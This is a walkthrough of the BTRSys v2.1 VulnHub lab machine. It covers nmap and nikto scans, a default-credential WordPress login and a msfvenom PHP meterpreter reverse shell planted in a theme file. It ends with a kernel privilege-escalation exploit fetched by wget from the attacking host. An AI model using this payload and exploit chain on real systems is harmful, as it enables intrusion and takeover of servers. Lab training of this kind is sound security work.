BTRSys v2.1 Walkthrough
Preparation:
Download the BTRSys virtual machine from the following website:
https://www.vulnhub.com/entry/btrsys-v21,196/
1. Find the IP address of the BTRSys virtual machine.
netdiscover -r 10.0.0.0/24
2. Perform the TCP/UDP scan using Nmap to find the potential vulnerabilities.
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN /root/Delete/tcp1.txt 10.0.0.29
nmap -nvv -Pn- -sSV -p 21,22,80 --version-intensity 9 -A -oN /root/Delete/tcp2.txt 10.0.0.29
nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T3 -oN /root/Delete/udp.txt 10.0.0.29
3. Browse the target website(http://10.0.0.29) through Firefox.
4. Try to scan the file structure of the target server using the tool Nikto.
nikto -h 10.0.0.29
Browse the target website(http://10.0.0.29/robots.txt) through Firefox.
Browse the target website(http://10.0.0.29/robots.txt) through Firefox.
Try to login in the WordPress using default username/password(admin/admin).
Ahaaa! Login in the admin page successfully.
Go to the Edit Themes page.
5. List all the payload in Kali Linux
msfvenom -l payload
Set the payload module and parameters.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.0.26 lport=4444 -f raw
Copy， Paste and upload the generated PHP exploit code to the Wordpress website.
6. Start the Metasploit on the Kali Linux and choose the proper module. Then set the payload module and parameters.
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 10.0.0.26
Browse the edited page(http://10.0.0.29/wordpress/wp-content/themes/twentyfourteen/404.php) through Firefox.
So the communication between Kali Linux and BTRSys is established.
Execute the command help to find the commands we can grab.
Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session. transport Change the current transport mechanism use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file chmod Change the permissions of a file cp Copy source to destination dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- portfwd Forward a local port to a remote service Stdapi: System Commands ======================= Command Description ------- ----------- execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system‘s local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes shell Drop into a system command shell sysinfo Gets information about the remote system, such as OS Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play an audio file on target system, nothing written on disk
Find the Kernel version and current username of the BTRSys server.
sysinfo
getuid
7. Try to find the vulnerabilities related to Linux ubuntu 4.4.0-62-generic in the Exploit Database. Then download and copy the exploit code file to the folder /var/www/html.
https://www.exploit-db.com/exploits/41458
Compile the source code and download the executable file to BTRSys server.
gcc -o exploit 41458.c
wget http://10.0.0.26/exploit
Ahaaa! We get the root privilege by executing the exploit file.
